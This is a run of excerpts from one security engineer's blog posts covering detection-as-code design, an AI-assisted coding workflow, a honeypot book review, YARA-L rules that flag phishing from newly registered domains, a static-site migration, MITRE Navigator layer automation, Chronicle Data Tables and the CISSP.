The “Why” and the Trade-offs

I define a Detection Engine as any platform capable of receiving raw telemetry and outputting alerts. In this sense, SIEMs and EDRs are two common tools that meet this criterion. In complex environments, it’s common to have multiple engines running in parallel, each monitoring a specific slice of the stack: endpoints, cloud, SaaS, etc. Each new engine added greatly impacts Threat Detection due to its idiosyncrasies: different query languages and, most importantly, different logic.

Although many refer to the logic alone as “the rule,” I don’t think that’s accurate. As Google’s dictionary states:

A rule is a principle that operates within a particular sphere of knowledge, describing or prescribing what is possible or allowable.

In this sense, logic is just one part of a rule—and I acknowledge it’s the most important part. But a rule also requires context: a name, description, classification, and deployment parameters.

Since I joined Detection Engineering, I’ve noticed many parallels between a detection rule and regular software, and like any software, a rule needs a runbook for handling the alerts it generates. That runbook should be part of the rule itself. This encapsulates the rule in an envelope that handles different kinds of logic across different engines.

Doing so, engineers work against a normalized structure (the rule) despite having multiple platforms underneath. It doesn’t remove the complexity of learning each engine’s query language, but it greatly helps the team scale.

That envelope can be implemented in multiple ways, but the most effective rely on declarative languages like YAML and TOML. They’re easy to read and maintain. As plaintext, they’re also a natural fit for Git, providing solid version control. When you layer on a collaboration platform like GitHub or GitLab, you get peer review and CI/CD automation on top. These are the biggest selling points for leadership when pitching DaC. What’s less discussed are the trade-offs.

This workflow generates friction. Before, a Detection Engineer would log into the engine, write their logic, save, and move on. Now they must use the engine as a starting point for the use case they’re building, and once they have an MVP:

1. Create a new branch in DaC
2. Drop the MVP
3. Add context to the logic: fill the envelope
4. Commit
5. Run additional tests, adjust, commit again, request peer review
6. Once everything looks good, merge to the mainline and monitor the pipeline output
7. If all is fine, the job is done. If not, fix the automation scripts and redeploy.

This new environment requires SRE skills from Detection Engineers, and not everyone is comfortable with Git workflows. Some engineers feel awkward reviewing a colleague’s work, which often leads to rubber-stamp approvals. On the flip side, some people start nitpicking small typos and delivering feedback without empathy, which creates friction of a different kind.

This extra friction must be justified. Based on the gains I described above, not all teams will benefit equally. The rule of thumb is: the larger the team and the more engines it operates, the more the friction is justified.

Does that mean small teams shouldn’t go for DaC? It depends. As an engineer, even working on a small team with a single detection engine, I’d still want to implement it just to build good skills. But that’s optional, a side project for periods of low demand, not something to enforce on all engineers from day one. To be direct: smaller teams in low-complexity environments can live without DaC and still be effective.

Large-scale teams running complex environments will greatly benefit from DaC, and the friction is more than justified when the project is properly designed. DaC increases the team’s maturity and consistency, helping it scale more reliably.

The Core Use Cases

To get real value from DaC, the team must invest time architecting the rule format—the envelop. This is crucial and non-negotiable. All features will be built on top of it, so any future change can be extremely disruptive. Looking around, you’ll find varied structures. That’s because each team has its own needs and context. There’s no one-size-fits-all. That said, I believe a good rule structure should cover these four blocks:

1. Metadata: Fields like description, author, and categorization—MITRE ATT&CK mappings live here.
2. Logic: The rule logic itself, as expected by the Detection Engine, stored as a text block.
3. Deployment: Runtime parameters for that rule: on/off, run frequency, schedule, etc.
4. Guide: How to handle alerts from that rule: a high-level overview to inform IR playbooks and ease future maintenance.

I like to think like a data scientist when designing this structure. Ideally, fields are complementary with minimal or no overlap. For example, since the rule name can be the filename, I avoid a metadata.name field inside the rule. If a piece of data is already tracked automatically by another tool in the stack (like Git tracking authorship and timestamps), I don’t manually replicate it.

In YAML, my proto-rule looks like this:

metadata:
    authors:
        - "Joe Lopes"
    description: "Direct, clear, and short description"
    mitre:
        T0000: [TA0000]
    references:
        - "http://lopes.id"

logic: |
    events:
        $e.principal.ip...
    match:
        $e over 10m
    outcome:
        $ip = array_distinct(...
    condition:
        $e

deployment:
    live: true
    alerting: true
    frequency: "LIVE"

guide:
    context: |
        A more detailed description, including why the rule exists and how it fits our strategy. One or two paragraphs.
    triage: |
        - Steps to triage alerts from that rule
        - Known false positive cases
    response: |
        - High-level steps for incident response

With this structure in place, several use cases become achievable. Let’s walk through them.

DaC and AI

You can’t discuss technology these days without touching on AI, and I’m no different. LLMs are excellent at parsing structured formats like YAML, TOML, and JSON, which makes them a natural fit for DaC. With the repository cloned locally, any AI agent can work directly with the rules, providing insights, helping write scripts, or refining logic.

This approach avoids the overhead of standing up an MCP server to mediate access to the ruleset, saving tokens and money. More broadly, I find it a good reminder against over-engineering: avoid an MCP server when a local file read would work just as well, sometimes just to say “it’s AI-first.”

The only limit here is your creativity. Ask the AI to find overlapping rules, suggest missing MITRE tags, or draft investigation guides. Ask it to help you code a new feature. DaC is AI-friendly although not AI-first (yet 👀).

Conclusion

Detection-as-Code is an architectural choice. It can help Threat Detection teams mature and scale faster, but it comes with trade-offs that deserve honest evaluation before committing.

Larger teams in complex environments will see real gains. Smaller teams can benefit too, at a smaller scale. The best strategy is to start simple, plan the work before writing a single line of code, and deliver the project in phases, adding features as they’re needed, not before.

The use cases must be super clear from the beginning. You should not implement DaC just because it’s nice, but because it’ll help you scale, make audits easier, and improve your management capabilities. Remember: DaC is the way, not the end. 🍀

Motivation: The Need for a New Modus Operandi

For a long time, my workflow was functional, albeit traditional. I would write scripts or small programs, test them empirically, document them, and push them to production. But watching the rapid evolution of AI coding tools, I realized that simply bolting a chatbot onto my existing workflow wasn’t enough. I needed to rethink my entire process from the ground up to actually leverage these tools as autonomous agents rather than glorified search engines.

The Pre-LLM Era: Scripts, Ad-Hoc Fixes, and Stack Overflow

Before the rise of LLMs, my development process looked exactly like this:

1. Create a folder, bootstrap Git, and initialize the programming language environment.
2. Dive straight into the code, creating subfolders and importing libraries.
3. Once the base structure (CLI, directory tree) was complete, start hacking away at specific components (a top-down approach).
4. Perform ad-hoc testing until reaching a working “v0.5”.
5. Polish the code, write documentation, and ship.

In security and IT operations, we rarely require the rigid bureaucracy of enterprise software development (Agile, heavy CI/CD, exhaustive system design). We optimize for speed and utility, building parsers, automation scripts, or Proof-of-Concepts (PoCs) to put out the immediate fire in front of us.

However, looking back with a critical eye, my process was fundamentally flawed. It severely lacked automated testing, which inevitably led to technical debt. Without unit tests, my scripts were brittle. A minor refactor or an unhandled edge case in a log file could quietly break the entire tool. Upgrading netbox-scanner to v2, for instance, was painful for exactly this reason.

I came to realize that adopting core engineering best practices, like test coverage, would make my deliverables significantly safer and more reliable. Under my old manual process, achieving this meant heavy reliance on Google, Stack Overflow, and official documentation to unblock myself. It worked, but it was incredibly tedious.

Method + LLM: The Friction and Fatigue of Early Adoption

I started riding the LLM wave early, diving into AI-assisted development around mid-2025 while learning Rust programming language and building Cordyceps, an educational Proof-of-Concept (PoC) ransomware.

At that stage, the AI tooling landscape was evolving at breakneck speed, but my workflow remained stagnant. Instead of taking the time to learn how to orchestrate agentic features, I simply took my flawed pre-LLM workflow and slapped AI on top of it.

Even after progressing from copying code out of a browser tab to using an in-IDE AI agent that automatically updated files, the fundamental problem persisted. Lacking a structured method for providing context, I found myself repeatedly explaining the project’s rules with every new chat session. This constant repetition, combined with the AI’s natural context degradation in longer threads, made me seriously question the tool’s long-term utility.

While the AI provided direct, tailored answers, this ad-hoc approach introduced massive friction:

• Context decay: Chats were painfully short-lived. I noticed that after a certain point, the AI’s answers would degrade, becoming biased or completely ignoring foundational instructions. In ML literature, this is a documented phenomenon known as “attention decay” or “context window saturation.” As a conversation grows, the LLM physically struggles to weigh your original system instructions against the noisy tokens of the ongoing chat.
• Psychological fatigue and “prompt rage”: Using AI in an unstructured manner took a surprisingly heavy psychological toll. Having to endlessly rebuild context left me genuinely frustrated with the AI for “forgetting” constraints; at times, it felt like arguing with a toddler. I had essentially shifted my stress from debugging broken code to debugging a stubborn LLM.
• Workflow silos: Initially, manually moving files back and forth from a browser was exhausting. But even after adopting a local agent plugin, the struggle remained because my process was still siloed.

I was still the developer doing all the heavy lifting; the AI was just a smarter, occasionally frustrating textbook. It was like copy-pasting from Stack Overflow, just generated on the fly. The solution wasn’t to “prompt harder.” The solution was to step back, review my entire workflow, and integrate AI much earlier in the software lifecycle, using its capabilities in a structured, deterministic way.

The New Way with LLM: Designing Antlion to Learn the Paradigm

Entering 2026, I realized the only way out of this frustrating cycle was to stop forcing the AI into my old habits. I decided to actually study the new way of working. I researched agentic workflows, structured AI tooling, and LLM orchestration.

Only after internalizing this new paradigm did I design the Antlion project. Antlion wasn’t just another script; it was deliberately conceived as a sandbox to practice an AI-native methodology.

This was a profound mindset shift. I finally understood that modern AI tools are no longer intuitive “chatbots”: they are complex orchestrators. Studying a tool’s architecture and best practices before deploying it is exactly how a senior engineer approaches any new technology. The tool and the paradigm must dictate the workflow, not the other way around.

I installed Claude Code directly on my machine, integrated the necessary editor plugins, and completely overhauled my approach:

Ask me clarifying questions about edge cases, UI/UX, and technical tradeoffs before we start building.

Takeaways: The Paradigm Shift

Looking back, my 2025 endeavor was basically my legacy workflow with an AI bot duct-taped to it. The 2026 approach is a true AI-first workflow.

1. Change the process, not just the tool. You cannot simply bolt AI onto your existing stack. You have to step back, study agentic methodologies, and fundamentally restructure how you build software.
2. From code to specifications. Development is now less about writing syntax and more about defining rigid prerequisites and system specifications. However, foundational engineering skills are still what separate production-grade tools from hobbyist scripts. You have to know what to ask for, and you must know how to review the output.
3. Unprecedented velocity. Historically, a project like Antlion would have taken me two to three weeks working 4 hours a day. Using this agentic workflow, the project was delivered in about 15 commits, taking less than 6 hours total. The efficiency gains are staggering.
4. Clarity is king. Defining clear goals and mandating TDD was the ultimate differentiator. Had I blindly accepted the code Claude initially offered without strict constraints, the project would have collapsed into an unmaintainable mess.

I am incredibly excited for what comes next. By taking the time to learn the available tools and paradigms, I stopped fighting the AI and started orchestrating it. Other capabilities, like Claude Skills, are ready to be explored, and I will absolutely be integrating them into my future engineering workflows. 🤖 🚀

The Book

Virtual Honeypots showcases the authors’ vast expertise in deception technologies. However, to truly appreciate its greatness, we must put ourselves in the shoes of a late-90s or early-2000s IT practitioner. At that time, VMware and hardware virtualization were just starting to gain traction, Linux systems were undergoing massive consolidation, and many of our common security tools and taxonomies had yet to be invented.

Provos and Thorsten Holz demonstrate remarkable technical depth throughout the pages, teaching network protocols, OS configuration (Linux and Windows), and even systems programming, including Python 🐍. Since they personally developed core tools presented in the text, like Honeyd, their authority on the subject is undeniable.

The language is accessible, and the text is packed with practical examples, ranging from raw command outputs to complete configuration files. In several instances, the authors hold your hand, explaining what a program does, how to compile and configure it, its execution flags, and its practical use cases.

Although the chapters are not explicitly grouped, I mentally divide the book into three sections: Part I covers theory and motivation (Chapters 1-3); Part II focuses on Honeyd and other honeypots (Chapters 4-8); and Part III delves into practical use cases (Chapters 9-12).

Impressions

I gained numerous insights from this book, primarily from Part I. The discussions on honeypot types and architectures for safe deployment are priceless. Furthermore, the taxonomy the authors employ to categorize honeypots is well-thought-out and highly effective at teaching readers how to design robust deception topologies. As expected, foundational theory has longevity, and Part I has absolutely stood the test of time.

Most of Part II is dedicated to Honeyd, and it is clear that Provos was proud of his creation. This is entirely justified, as Honeyd was a massively successful project in its day. However, since the tool has been deprecated for years, this section lacks engagement. Today, the only people likely to benefit from these chapters are developers actively writing honeypot software. Even for professionals seeking modern honeypot deployment advice, these chapters are a tough read.

Part III presents numerous use cases, covering everything from motivation and network topology to analysis and results. Unfortunately, the authors once again dedicated a large portion of these chapters to deep dives into tools that clearly haven’t aged well. Had they focused more strictly on architectural topologies and breach analysis, this section would have remained highly relevant.

This effectively summarizes my overall feeling about the book: a fantastic resource for its time, but one that is overly fixated on tooling that is now obsolete, like UML, DTK, LaBrea, Sebek, and Nepenthes. While I understand the authors’ desire to teach exactly how these tools worked and integrated under the hood, the lack of architectural abstraction makes the text less appealing to a modern audience.

Historically, a significant portion of deception software was linked to academic research, and even today, high-interaction deception technology isn’t a mainstream enterprise staple. In the two decades since this book’s release, entirely new paradigms like containerization and specialized honeypots have emerged, radically changing how we implement the scenarios the authors presented. Combining this evolution with the authors’ choice to tightly couple their lessons to specific, now-deprecated tools creates the perfect storm: a large portion of this book is, unfortunately, forgettable.

Last Words

Virtual Honeypots was undoubtedly a great book for its time, and I suspect it inspired many professionals to dive into deception engineering. Even today, the foundational first part remains excellent and proves the authors were true pioneers.

However, as explained, from Chapter 4 onward, the book starts feeling like a photo album showing scenes from a distant IT past. My recommendation depends heavily on your current goals:

• If you are deploying honeypots: Read Chapters 1-3 carefully and skim the rest, paying slight attention to the topologies in Chapters 9-12.
• If you are writing honeypot software: Chapters 1-3 remain required reading, but you should also pay close attention to Chapters 4-8 to extract architectural insights from the development of Honeyd.

For any other InfoSec practitioner simply curious about honeypots: read Chapters 1-3 and close the book. I want to emphasize that I deeply respect the quality of this work and the skill of its authors. It is genuinely impressive to recommend a 20-year-old technology book with no further revisions, but it is almost impossible to tie a book this closely to specific tooling and have it survive the ages. 🪴

The Problem with Broad Strokes

Google SecOps includes a detection rule in its public repository that serves as a prime example of this concept. The whois_recently_created_domain_access rule, available in GitHub, checks for any network connection event where the target domain was created less than 30 days ago. While this serves as a good starting point, like many publicly shared detection rules, it lacks context and refinement. Without additional scoping, it is prone to false positives.

As a threat hunting rule or an atomic/producer rule (signal generation), this logic is perfectly fine. However, adopting this approach as a detection rule lacks the necessary granularity because:

1. Context is missing: Not all NRD activity is equal. A new vendor’s SaaS API connection does not carry the same threat level as a targeted spear-phishing email.
2. Arbitrary thresholds: A single, static threshold (e.g., 10 connections) is simultaneously too low for legitimate bulk web traffic and too high for a “low-and-slow” spear-phishing attack. This guarantees an unmanageable false positive (FP) rate and significant false negatives (FN).

The central engineering principle here is: Breaking detection down by use case allows for superior granularity and precision.

Contextual Granularity: A Tiered Detection Model

Working with Google Workspace logs opened my mind to a more granular solution. The most effective strategy for NRD detections is to implement a tiered detection model where the threshold and focus are dictated by the event type and the sensitivity of the target entity (e.g., VIP status)—in other words, the use case.

This shifts the detection philosophy from simply observing newness to observing suspicious behavior in high-risk contexts, where newness is merely one of several contextual factors. 💡

The next table outlines a few use cases with ideas for implementing scoped detections. These leverage NRD data to add critical context to otherwise standard connections.

Leveraging NRD with Google Workspace

As mentioned, I was analyzing Google Workspace events when I realized I could use NRD context to highlight suspicious email transactions. My first approach was to select all messages opened in Workspace, extract the domain from the sender address (excluding trusted domains), and trigger an alert if the domain was less than one week old.

Why one week? In my testing, I noticed that shorter timeframes missed too many threats, while extending it to a month or more created a rule too broad for general monitoring. The resulting YARA-L rule looks like this:

rule workspace_nrd_possible_phishing {
  meta:
    author = "Joe Lopes <lopes.id>"
    description = "A user opened an email from a newly registered domain (created < 7 days ago), which may indicate a phishing attempt"
    severity = "medium"
    maturity = "initial"
    mitre = "T1566:TA0001"
    reference_1 = "https://github.com/chronicle/detection-rules/blob/main/rules/community/threat_intel/whois_recently_created_domain_access.yaral"
    reference_2 = "https://support.google.com/a/answer/12384955"

  events:
    $mail.metadata.event_type = "EMAIL_TRANSACTION"
    $mail.metadata.product_event_type = "2" // message was opened
    strings.extract_domain($mail.network.email.from) = $domain
    not $domain in %trusted_domains.domain

    $whois.graph.entity.domain.name = $domain
    $whois.graph.metadata.entity_type = "DOMAIN_NAME"
    $whois.graph.metadata.vendor_name = "WHOIS"
    $whois.graph.metadata.product_name = "WHOISXMLAPI Simple Whois"
    $whois.graph.metadata.source_type = "GLOBAL_CONTEXT"
    $whois.graph.entity.domain.creation_time.seconds > 0

    // domain was created in the last 7 days: 7 * 24 * 60 * 60 = 604800 seconds
    604800 > timestamp.current_seconds() - $whois.graph.entity.domain.creation_time.seconds

  match:
    $domain over 1h

  outcome:
    $risk_score = 25
    $created_at = array_distinct(timestamp.get_date($whois.graph.entity.domain.creation_time.seconds))
    $sender = array_distinct($mail.network.email.from)
    $recipients = array_distinct($mail.network.email.to)
    $num_messages = count($mail.network.email.mail_id)
    $num_attachments = array_distinct($mail.additional.fields["num_message_attachments"])
    $dkim = array_distinct($mail.additional.fields["dkim_pass"])
    $spf = array_distinct($mail.additional.fields["spf_pass"])

  condition:
    $mail and $whois
}

One concern I had was that “one week” might not cover all scenarios. However, as noted, simply increasing this window globally would lead to an unacceptable volume of alerts in production. A robust solution in these cases is to create a fork of the original rule that monitors a specific set of high-value assets.

In this instance, I decided to monitor a list of VIPs. Since this greatly reduces the user count to only executives or people with elevated privileges, it allows us to safely increase the “newly registered” window to 180 days. With this adjustment, the rule transforms into a specialized detector for targeted spear-phishing attempts:

rule workspace_nrd_possible_spear_phishing {
  meta:
    author = "Joe Lopes <lopes.id>"
    description = "A VIP user opened an email from a newly registered domain (created < 180 days ago), which may indicate a spear phishing attempt"
    severity = "medium"
    maturity = "initial"
    mitre = "T1566:TA0001"
    reference_1 = "https://github.com/chronicle/detection-rules/blob/main/rules/community/threat_intel/whois_recently_created_domain_access.yaral"
    reference_2 = "https://support.google.com/a/answer/12384955"

  events:
    $mail.metadata.event_type = "EMAIL_TRANSACTION"
    $mail.metadata.product_event_type = "2" // message was opened
    strings.extract_domain($mail.network.email.from) = $domain
    not $domain in %trusted_domains.domain
    $mail.principal.user.userid in %vips.username

    $whois.graph.entity.domain.name = $domain
    $whois.graph.metadata.entity_type = "DOMAIN_NAME"
    $whois.graph.metadata.vendor_name = "WHOIS"
    $whois.graph.metadata.product_name = "WHOISXMLAPI Simple Whois"
    $whois.graph.metadata.source_type = "GLOBAL_CONTEXT"
    $whois.graph.entity.domain.creation_time.seconds > 0

    // domain was created in the last 180 days: 180 * 24 * 60 * 60 = 15552000 seconds
    15552000 > timestamp.current_seconds() - $whois.graph.entity.domain.creation_time.seconds

  match:
    $domain over 1h

  outcome:
    $risk_score = 50
    $created_at = array_distinct(timestamp.get_date($whois.graph.entity.domain.creation_time.seconds))
    $sender = array_distinct($mail.network.email.from)
    $recipients = array_distinct($mail.network.email.to)
    $num_messages = count($mail.network.email.mail_id)
    $num_attachments = array_distinct($mail.additional.fields["num_message_attachments"])
    $dkim = array_distinct($mail.additional.fields["dkim_pass"])
    $spf = array_distinct($mail.additional.fields["spf_pass"])

  condition:
    $mail and $whois
}

Conclusion

By applying this granular and contextual approach, your detection strategy moves past simply monitoring “newness” and focuses on behavior in the most critical attack vectors. This shift is essential for reducing analyst fatigue and ensuring that high-risk events (like spear-phishing against VIPs) trigger alerts immediately, regardless of organization-wide volume. Invest in granularity, and you will see a significant increase in your true positive rate. 🎯

Zola: A Fast Static Site Generator

Zola is renowned for its speed and ease of deployment. Written in Rust, it is blazing fast—able to build my repository of nearly 80 posts almost instantaneously. After running zola serve, a version of my site was immediately available at localhost:1111 for review. The installation process is equally excellent: as a single ~15 MB binary, it is simply a matter of downloading the file, adding it to the system path, and voilà: job done.

My journey with Zola is partially documented on this blog. In my debut post here, I shared how to get started with the framework. However, after establishing a working version of the site, I noticed theme options were limited compared to Hugo, one of the most popular static site generators (SSGs). This limitation inspired me to create my own theme, ZOLA.386, which evoked memories of Saturday afternoons setting up MS-DOS games with my father.

As time passed, I desired a darker aesthetic, leading to a transition that culminated in Kita. This theme supported the blog for the majority of its life, and I credit the developers for its quality and feature set. With Kita, I realized a long-standing goal: implementing “blog as code,” featuring advanced visual elements like diagrams, equations, and callouts defined as text rather than static images.

Later, Kita introduced support for Open Graph images. Coinciding with the rise of AI-generated imagery, I adopted custom images to represent my posts. The response was excellent; several readers praised the blog’s style, and some reached out for tips on using Kita. It was a genuine success.

Quarto: Scientific and Technical Publishing

Quarto is similar to Zola in that it is a static site generator, but it offers a broader feature set. Built on Pandoc, a universal document converter, Quarto is more than just a site builder. As its documentation suggests, Quarto is designed for scientists and engineers to easily create and share technical content.

Crucially, Quarto can leverage Jupyter notebooks to facilitate interactive posts, allowing projects to be published directly from the notebook environment.

Quarto utilizes a Markdown dialect that provides robust functionality out of the box, such as footnotes, callouts, Mermaid diagrams, and LaTeX snippets. While I previously relied on the Kita theme to implement these features in Zola, Quarto handles them natively. Furthermore, the notation is often simpler and more intuitive.

Quarto also provides excellent JavaScript interactivity by default. With a simple setup, I can enable users to search, sort, or filter posts. From an SEO perspective, the generator implements best practices automatically, including Twitter cards and Open Graph metadata.

This versatility was the primary driver behind the migration.

Migration

I used this migration as an opportunity to refine several elements I had built over time, aiming for a more unified vision for the project. This refinement consumed some time¹, though it was not strictly related to Quarto itself. Once implementation began, I discovered that Quarto can be both incredibly easy and occasionally frustrating. While configuration via _quarto.yml is straightforward, the documentation contains gaps that can lead to confusion.

I initially selected the Cosmo theme because the preview on Bootswatch offered both light and dark versions, a feature I wanted to retain from Kita. However, I quickly realized that although Quarto implements Bootstrap themes, the integration is not seamless. Standard Bootstrap themes use the HTML data-bs-theme property to toggle versions, but Quarto uses a different system that overrides this, effectively forcing the user to define two separate themes.

The upside of this hurdle was that it compelled me to conduct deeper research. Eventually, I discovered the Notes from a Data Witch blog and fell in love with the theme. Fortunately, the author shares the source code on GitHub, allowing me to study and adapt it into my own style: the Vigil theme.

Beyond theming, the bulk of the work involved string substitutions, regex operations, and shell scripts to migrate my post library. I then proceeded with manual adjustments to fine-tune specific posts. The next major step was recreating the Open Graph images to follow best practices; I also decided to switch to the WebP format for faster load times.

To wrap everything up, I reconfigured the CI/CD scripts on GitHub to perform automated checks and deployments.

AI Support

Unlike previous migrations, I utilized AI to assist with this process, and I have mixed feelings about the experience. In some areas, it excelled: it was a massive help in customizing the theme, creating the new logo, and generating code snippets. Conversely, it occasionally provided incorrect guidance; for instance, it suggested blurring Open Graph images only to contradict itself later, resulting in wasted time and frustration. It also tended to “hallucinate” Quarto properties that do not exist rather than admitting a lack of knowledge.

Overall, the result was positive, but there is clear room for improvement in current LLM capabilities. Without real-world examples to reference or my own engineering experience to guide the process, I would likely still be struggling to switch the Cosmo theme to its dark version.

Final Thoughts

While I acknowledge Zola’s performance and remain grateful for it, I am very satisfied with Quarto thus far. The deployment time is admittedly much longer now, taking over a minute to build the site from scratch. However, since I do not deploy constantly, this is an acceptable trade-off.

This experience reinforced the value of open-source software, and I have decided to open-source this blog’s repository 🔗 so others in the Quarto community can benefit from it. 🤲🏻

I look forward to exploring more of Quarto’s features and am confident that this site now possesses a strong foundation for the future.

What is MITRE Navigator?

MITRE Navigator 🧭 is a web-based tool for annotating and exploring ATT&CK matrices. It allows you to:

• Group technique mappings into layers, then overlay them for comparative analysis.
• Visualize strengths and weaknesses in your detection landscape.
• Compare defensive coverage (e.g., from your SIEM or EDR) against adversary behavior (e.g., from CTI reports).

A classic use case is to generate one layer for your SIEM detections and another for the techniques used by a tracked APT. Overlaying them immediately reveals where the adversary operates and how your defenses stack up.

Understanding Navigator Layers

In MITRE Navigator, layers are JSON documents that follow a specific schema—see Navigator’s repository on GitHub. Their behavior depends on three versioning components:

• ATT&CK version: The matrix to plot (e.g., 18.1).
• Navigator version: The software that will render the layer (e.g., 5.2.0).
• Layer version: The JSON schema itself (e.g., 4.5).

A layer has two main parts:

1. Root-level configuration: Defines the layer’s appearance and behavior, like name, description, filters, layout, color gradients.
2. Technique entries: An array of objects, each defining per-technique attributes like score, metadata, links, and an optional tactic.

jq -r '
  .objects[] |
  select(
    .type == "x-mitre-tactic"
    and .x_mitre_deprecated == false
  ) |
  (
    .external_references[0].external_id
    + ": "
    + .x_mitre_shortname
  )
' enterprise-attack-18.1.json |\
sort

Layer Configuration (The Root Object)

This is where you control the layer’s look and feel: header visibility, UI layout, sub-technique expansion, color gradients, and platform filters. Common options include:

• versions: Specifies the ATT&CK, Navigator, and layer schema versions the file targets.
• filters.platforms: Narrows the layer to specific platforms (e.g., Windows, Linux, SaaS).
• layout: Controls the layout style, visibility of names/IDs, and score aggregation.
• gradient: Defines the color stops and the minValue/maxValue that the score maps to.

Consistent root-level settings are key to making your exported layers readable and uniform.

Technique Configuration (The Heart of the Data)

The techniques array is what turns raw data into actionable intelligence. Each object in the array corresponds to a specific detection-to-technique mapping and should include enough context to be useful, like rule name, maturity score, description, a link to the detection-as-code, owner, and test status.

If a single detection rule maps to multiple techniques, create a distinct technique object in this array for each one. This pattern keeps traceability clear: from any cell in Navigator, an analyst can click through to the detection’s code, review its maturity, see the owner, and prioritize engineering work accordingly.

Automation: A Base Layer Template

Automating layer generation allows any automation pipeline to emit a consistent JSON artifact for specific rulesets. A minimal template for the root object looks like the next listing—note that the techniques array is empty here:

{
  "name": "Logs",
  "versions": { "attack": "18.1", "navigator": "5.2.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "description": "Example layer for SIEM detections.",
  "filters": { "platforms": ["Windows","Linux","macOS","Network Devices","ESXi","PRE","Containers","IaaS","SaaS","Office Suite","Identity Provider"] },
  "layout": { "layout": "side", "showName": true, "showID": true, "showAggregateScores": true, "countUnscored": false, "aggregateFunction": "average", "expandedSubtechniques": "annotated" },
  "showTacticRowBackground": true,
  "tacticRowBackground": "#2f0549",
  "gradient": { "colors": ["#D62D20", "#FFA700", "#008744"], "minValue": 1, "maxValue": 5 },
  "techniques": [],
  "links": [],
  "legendItems": [],
  "metadata": [],
  "selectTechniquesAcrossTactics": true,
  "selectSubtechniquesWithParent": false,
  "selectVisibleTechniques": false
}

Example Technique Object

The next listing has a concrete example of a single technique object you would append to the techniques array in the base JSON.

{
  "techniqueID": "T1078",
  "tactic": "initial-access",
  "score": 2,
  "comment": "Rule: aws_cloudtrail_trail_stopped",
  "metadata": [
    { "name": "aws_cloudtrail_trail_stopped", "value": "Maturity: 2\nDescription: A CloudTrail audit trail was stopped" }
  ],
  "links": [
    { "label": "Source Code", "url": "https://github.com/lopes/detections/blob/main/rules/aws_cloudtrail_trail_stopped.yaml" }
  ],
  "enabled": true,
  "showSubtechniques": false
}

Notes:

• If a rule applies to multiple techniques, create one object per technique.
• If a detection for a technique is only relevant in a specific tactic, set the tactic field.
• Keep metadata structured for easier filtering and automation later.

Combining Layers with Expressions

Export defensive layers per engine (e.g., SIEM, EDR) and offensive layers per adversary or CTI feed. Load them into Navigator and use the Create Layer from Other Layers feature to compute a composite heatmap.

Navigator assigns letters (a, b, c, …) to each loaded layer, which you can use in a scoring expression. The goal is to create a formula that highlights the most critical gaps. A simple mental model is:

• High Risk (Red): A technique is used by adversaries, but your detection for it is weak or non-existent.
• Low Risk (Green): A technique is well-covered by your detections, or it is not used by relevant adversaries.

The following expression calculates a risk score from 1 (high risk) to 5 (low risk), assuming your input layers also use a 1-5 scale (1 = weak/low, 5 = strong/high). It considers two defense layers (a, b) and two offense layers (c, d).

1 + 4 * (1 - (max((c - 1)/4, (d - 1)/4) * (1 - min((a - 1)/4, (b - 1)/4))))

This formula is designed to be conservative:

• It takes the highest threat score (max(c, d)), representing the most capable adversary.
• It takes the lowest defense score (min(a, b)), representing your weakest link.
• It avoids extreme highs and lows, centering most results in the 2-4 “warning” range. This creates a heatmap that flags areas for review without causing undue alarm, signaling “work to be done” rather than “everything is on fire.”

A notable limitation in Navigator is that while scores can be combined, metadata from the source layers (like comments and links) cannot be merged. You must choose one of the base layers to provide the context for the new composite layer.

Practical Recommendations

• Enrich every technique entry with structured metadata (rule_name, adversary, description) so the Navigator matrix becomes a live engineering backlog.
• Version your layers and store them in a repository alongside your detection-as-code to enable historical comparisons.
• Treat ATT&CK layers as decision support, not absolute truth. Combine Navigator outputs with telemetry-based risk scoring and business impact to prioritize work.
• Automate testing and include outcomes (e.g., pass/fail, false positive rate) in technique metadata. This lets you filter for untested or failing detections directly in Navigator.

Conclusion

MITRE ATT&CK only becomes truly valuable when it informs decisions. By programmatically generating MITRE Navigator layers based on your rules and your adversaries, with enriched, actionable metadata, you can turn a simple taxonomy into a prioritized action plan for your security program.

Navigator is simple and flexible, but it expects you to provide the context, as with any MITRE ATT&CK-based analysis. That’s where automation and thoughtful metadata design make all the difference. 🧭🚀

Data Tables: A More Robust Approach

Data Tables are a more robust approach to listing items in Chronicle but naturally have different means of interaction. API-wise, there’s a new set of endpoints, all of them in v1alpha, that we can leverage to systematically interact with these tables.

Data Tables allow users to manage a list of entities that can be reused across different detection rules and can also be used to enrich logs, providing more context about them.

Under the hood, a Data Table looks like the next code listing.

{
  "dataTableRows": [
    {
      "name": "projects/<PROJECT_ID>/locations/<LOCATION_CODE>/instances/<INSTANCE_ID>/dataTables/<TABLE_NAME>/dataTableRows/<HASH>",
      "values": ["col1-val", "col2-val", "col3-val"],
      "createTime": "2025-11-01T10:08:13.302177Z",
      "updateTime": "2025-11-11T19:37:09.219255Z"
    }
  ]
}

Coding the Script

I started this script on top of the previous one to avoid starting from scratch. The previous script used to remove duplicated lines and sort the lines alphabetically. That functionality doesn’t make sense for Data Tables because, as explained, they’re much like Hashsets and not simply usual CSV files.

You can find the new script 👉 HERE 🔗📍 Although it’s self-documented, I’ll briefly explain what it does.

Bottom Line

Despite the struggle to understand how to use the API, the final solution looks stable and quite usable. Data Tables are indeed a better and more robust approach to implementing lists, and I see why Google is deprecating Reference Lists.

The API is very responsive, and the data structures it uses are well-designed and allow for the development of good automations; something essential to keeping lists live, safe, and sanitized, which is vital for any good SIEM. 💡

Although I’m a bit concerned about the deprecation of v1alpha, I hope Google moves to a better solution in terms of both usability and documentation. If that comes true, I’ll happily update this script. 🙂

Beyond Certifications

For me, any certification or structured learning process only holds true, enduring value if it provides actionable knowledge, a framework capable of bridging skill gaps that would otherwise be hard to cover organically.

The CISSP’s Common Body of Knowledge (CBK) executes this perfectly. Its eight domains are meticulously defined, covering nearly the entire spectrum of Information Security. By internalizing this structure, the student is not merely exposed to the diverse aspects of the area but truly understands how these elements interoperate and relate to each other, a holistic view that forms a robust professional foundation.

This comprehensive knowledge is invaluable because it qualifies the professional to confidently engage with teams of any size and complexity. Furthermore, since the concepts covered demand understanding rather than simple recall, the certification provides a solid introductory depth to numerous topics. This allows you to converse with virtually any Infosec professional, moving the dialogue beyond mere basics and into strategic, cross-functional discussions.

Job Opportunities

It’s quite common for professionals to pursue certifications as a path to new job opportunities, and that is a perfectly rational goal. In fact, many job descriptions list the CISSP as a desirable credential. Yet, while it is often desired, I rarely recall seeing it explicitly required.

